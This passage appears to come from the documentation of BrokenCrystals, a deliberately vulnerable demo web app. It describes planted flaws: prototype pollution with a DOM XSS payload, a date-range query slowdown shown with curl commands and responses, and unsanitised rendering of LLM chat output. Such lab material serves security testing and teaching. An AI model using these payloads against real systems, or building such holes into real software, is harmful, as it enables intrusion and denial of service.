represents the client side vulnerability, by parsing the URI (for portfolio filtering) and converting its parameters into an object. This means that a requests like/marketplace?__proto__[TestKey]=TestValue
will lead to a creation ofObject.TestKey
. One can test if an attack was successful by viewing the new property created in the console. This EP also supports prototype pollution based DOM XSS using a payload such as__proto__[prototypePollutionDomXss]=data:,alert(1);
. The "legitimate" code tries to use theprototypePollutionDomXss
parameter as a source for a script tag, so if the exploit is not used via this key it won't work. - The EP GET
/api/email/sendSupportEmail
represents the server side vulnerability, by having a rookie URI parsing mistake (similar to the client side). This means that a request such as/api/email/sendSupportEmail?name=Bob%20Dylan&__proto__[status]=222&to=username%40email.com&subject=Help%20Request&content=Help%20me..
will lead to a creation ofuriParams.status
, which is a parameter used in the final JSON response.
- The EP GET
-
Date Manipulation - The
/api/products?date_from={df}&date_to={dt}
endpoint fetches all products that were created between the selected dates. There is no limit on the range of dates and when a user tries to query a range larger than 2 years querying takes a significant amount of time. This EP is used by the frontend in the/marketplace
page.Example Exploitation of Date Manipulation
To demonstrate the issue, you can use the following
curl
commands:-
Querying a Short Date Range:
time curl 'https://brokencrystals.com/api/products?date_from=11-04-2024&date_to=12-04-2025' \ -H 'authorization: YOUR_AUTH_HEADER'
Response:
[ { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Opal", "category": "Healing", "photoUrl": "/api/file?path=config/products/crystals/opal.jpg&type=image/jpg", "description": "the precious stone", "viewsCount": 82, "id": 3 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Ruby", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/ruby.jpg&type=image/jpg", "description": "an intense heart crystal", "viewsCount": 141, "id": 2 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Shattuckite", "category": "Jewellery", "photoUrl": "/api/file?path=config/products/crystals/shattuckite.jpg&type=image/jpg", "description": "mistery", "viewsCount": 1310, "id": 7 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Amber", "category": "Healing", "photoUrl": "/api/file?path=config/products/crystals/amber.jpg&type=image/jpg", "description": "fossilized tree resin", "viewsCount": 98, "id": 5 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Sapphire", "category": "Jewellery", "photoUrl": "/api/file?path=config/products/crystals/sapphire.jpg&type=image/jpg", "description": "", "viewsCount": 68, "id": 4 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Emerald", "category": "Jewellery", "photoUrl": "/api/file?path=config/products/crystals/emerald.jpg&type=image/jpg", "description": "symbol of fertility and life", "viewsCount": 206, "id": 6 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Amethyst", "category": "Healing", "photoUrl": "/api/file?path=config/products/crystals/amethyst.jpg&type=image/jpg", "description": "a violet variety of quartz", "viewsCount": 1359, "id": 1 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Bismuth", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/bismuth.jpg&type=image/jpg", "description": "rainbow", "viewsCount": 1254, "id": 8 } ]
Execution Time:
0.652s
-
Querying a Long Date Range:
time curl 'https://brokencrystals.com/api/products?date_from=11-04-2000&date_to=12-04-2025' \ -H 'authorization: YOUR_AUTH_HEADER'
Response:
[ { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Bismuth", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/bismuth.jpg&type=image/jpg", "description": "rainbow", "viewsCount": 1254, "id": 8 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Sapphire", "category": "Jewellery", "photoUrl": "/api/file?path=config/products/crystals/sapphire.jpg&type=image/jpg", "description": "", "viewsCount": 68, "id": 4 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Emerald", "category": "Jewellery", "photoUrl": "/api/file?path=config/products/crystals/emerald.jpg&type=image/jpg", "description": "symbol of fertility and life", "viewsCount": 206, "id": 6 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Amethyst", "category": "Healing", "photoUrl": "/api/file?path=config/products/crystals/amethyst.jpg&type=image/jpg", "description": "a violet variety of quartz", "viewsCount": 1359, "id": 1 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Opal", "category": "Healing", "photoUrl": "/api/file?path=config/products/crystals/opal.jpg&type=image/jpg", "description": "the precious stone", "viewsCount": 82, "id": 3 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Ruby", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/ruby.jpg&type=image/jpg", "description": "an intense heart crystal", "viewsCount": 141, "id": 2 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Shattuckite", "category": "Jewellery", "photoUrl": "/api/file?path=config/products/crystals/shattuckite.jpg&type=image/jpg", "description": "mistery", "viewsCount": 1310, "id": 7 }, { "createdAt": "2025-04-11T07:47:25.000Z", "name": "Amber", "category": "Healing", "photoUrl": "/api/file?path=config/products/crystals/amber.jpg&type=image/jpg", "description": "fossilized tree resin", "viewsCount": 98, "id": 5 }, { "createdAt": "2023-12-10T12:00:00.000Z", "name": "Axinite", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/axinite.jpg&type=image/jpg", "description": "brown", "viewsCount": 0, "id": 10 }, { "createdAt": "2020-11-18T12:00:00.000Z", "name": "Pietersite", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/pietersite.jpg&type=image/jpg", "description": "blue", "viewsCount": 0, "id": 11 }, { "createdAt": "2005-01-10T12:00:00.000Z", "name": "Labradorite", "category": "Gemstones", "photoUrl": "/api/file?path=config/products/crystals/labradorite.jpg&type=image/jpg", "description": "rainbow", "viewsCount": 0, "id": 9 } ]
Execution Time:
2.647s
-
-
Insecure Output Handling - The
/chat
route is vulnerable to insecure output handling, where the LLM response is not properly sanitized before being rendered. This can lead to the execution of malicious scripts if the response contains unsanitized HTML or JavaScript.